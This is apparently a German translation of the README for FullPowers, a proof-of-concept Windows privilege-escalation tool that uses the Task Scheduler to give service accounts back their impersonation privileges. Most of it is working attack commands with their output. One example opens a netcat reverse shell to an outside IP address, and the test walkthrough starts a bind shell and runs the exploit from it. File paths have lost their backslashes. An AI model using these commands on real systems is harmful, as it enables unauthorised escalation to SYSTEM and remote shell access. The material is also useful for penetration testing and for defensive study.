FullPowers ist ein Proof-of-Concept-Tool, das ich für die automatische Wiederherstellung der Standardberechtigungen eines Dienstkontos erstellt habe, einschließlich SeAssignPrimaryToken und SeImpersonate .
Unter Windows sind einige Dienste, die als LOCAL SERVICE
oder NETWORK SERVICE
ausgeführt werden, so konfiguriert, dass sie mit eingeschränkten Berechtigungen ausgeführt werden . Selbst wenn der Dienst kompromittiert ist, erhalten Sie daher nicht die Golden Impersonation-Berechtigungen und die Rechteausweitung auf LOCAL SYSTEM
sollte komplizierter sein. Ich habe jedoch festgestellt, dass beim Erstellen einer geplanten Aufgabe der vom Taskplaner-Dienst erstellte neue Prozess über alle Standardberechtigungen des zugehörigen Benutzerkontos verfügt (außer SeImpersonate ). Daher können Sie mit einigen Token-Manipulationen einen neuen Prozess mit allen fehlenden Berechtigungen erzeugen.
Verwendung
LOCAL SERVICE
oder NETWORK SERVICE
ausgeführt werden.
Sie können die Hilfemeldung mit der Option -h
überprüfen.
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
Sie möchten diesen PoC selbst testen? Das ist großartig! Hier sind einige einfache Anweisungen, die Ihnen den Einstieg erleichtern.
Die Grundidee besteht darin, eine Bindshell aus dem Prozess eines vorhandenen Dienstes zu starten, eine Verbindung zu diesem herzustellen und dann die ausführbare Datei auszuführen.
Sie benötigen zwei Tools von Drittanbietern: Netcat und RunFromProcess.
Wählen Sie einen Dienst mit eingeschränkten Berechtigungen, z. B. upnphost
.
Öffnen Sie den Task-Manager , gehen Sie zur Registerkarte „Dienste“ und rufen Sie die PID des entsprechenden Prozesses ab.
Verwenden Sie den folgenden Befehl, um die Bindshell als Administrator zu starten:
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
Verwenden Sie den folgenden Befehl, um eine Verbindung zur Bindshell herzustellen:
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
Wir können sehen, dass der aktuelle Prozess keine Identitätswechselberechtigungen hat. Führen Sie nun den PoC aus ...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Sie sollten jetzt über eine Shell mit Identitätswechselberechtigungen verfügen!